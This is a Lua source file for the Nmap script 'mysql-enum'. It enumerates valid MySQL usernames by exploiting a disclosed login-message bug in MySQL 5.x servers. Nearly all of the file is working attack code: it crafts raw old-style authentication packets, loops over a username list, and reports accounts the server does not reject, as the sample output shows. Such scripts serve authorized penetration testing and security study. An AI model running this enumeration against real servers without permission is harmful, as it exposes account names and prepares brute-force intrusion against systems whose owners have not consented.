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local brute = require "brute"
local creds = require "creds"
local mysql = require "mysql"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local openssl = stdnse.silent_require "openssl"
description = [[
Performs valid-user enumeration against MySQL server using a bug
discovered and published by Kingcope
(http://seclists.org/fulldisclosure/2012/Dec/9).
Server version 5.x are susceptible to an user enumeration
attack due to different messages during login when using
old authentication mechanism from versions 4.x and earlier.
]]
---
-- @usage
-- nmap --script=mysql-enum <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 3306/tcp open mysql syn-ack
-- | mysql-enum:
-- | Accounts
-- | admin:<empty> - Valid credentials
-- | test:<empty> - Valid credentials
-- | test_mysql:<empty> - Valid credentials
-- | Statistics
-- |_ Performed 11 guesses in 1 seconds, average tps: 11
--
-- @args mysql-enum.timeout socket timeout for connecting to MySQL (default 5s)
author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
portrule = shortport.port_or_service(3306, "mysql")
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
arg_timeout = (arg_timeout or 5) * 1000
Driver = {
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout)
if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err )
end
return true
end,
login = function (self, user, pass) -- pass is actually the username we want to try
local status, response = mysql.receiveGreeting(self.socket)
if(not(status)) then
if string.find(response,"is blocked because of many connection errors") then
local err = brute.Error:new( response )
err:setAbort( true )
return false, err
end
return false,brute.Error:new(response)
end
stdnse.debug1( "Trying %s ...", pass)
local auth_string = stdnse.fromhex("0000018d00000000") .. pass .. stdnse.fromhex("00504e5f5155454d4500"); -- old authentication method
local err
status, err = self.socket:send(string.pack("b",#auth_string-3) .. auth_string) --send initial auth
status, response = self.socket:receive_bytes(0)
if not status then
return false,brute.Error:new( "Incorrect username" )
end
if string.find(response,"Access denied for user") == nil then
-- found it
return true, creds.Account:new( pass, nil, creds.State.VALID)
else
return false,brute.Error:new( "Incorrect username" )
end
end,
disconnect = function( self )
self.socket:close()
return true
end
}
action = function( host, port )
local status, result
local engine = brute.Engine:new(Driver, host, port)
engine.options:setOption("passonly", true )
engine:setPasswordIterator(brute.usernames_iterator())
engine.options.script_name = SCRIPT_NAME
engine.options:setTitle("Valid usernames")
status, result = engine:start()
return result
end
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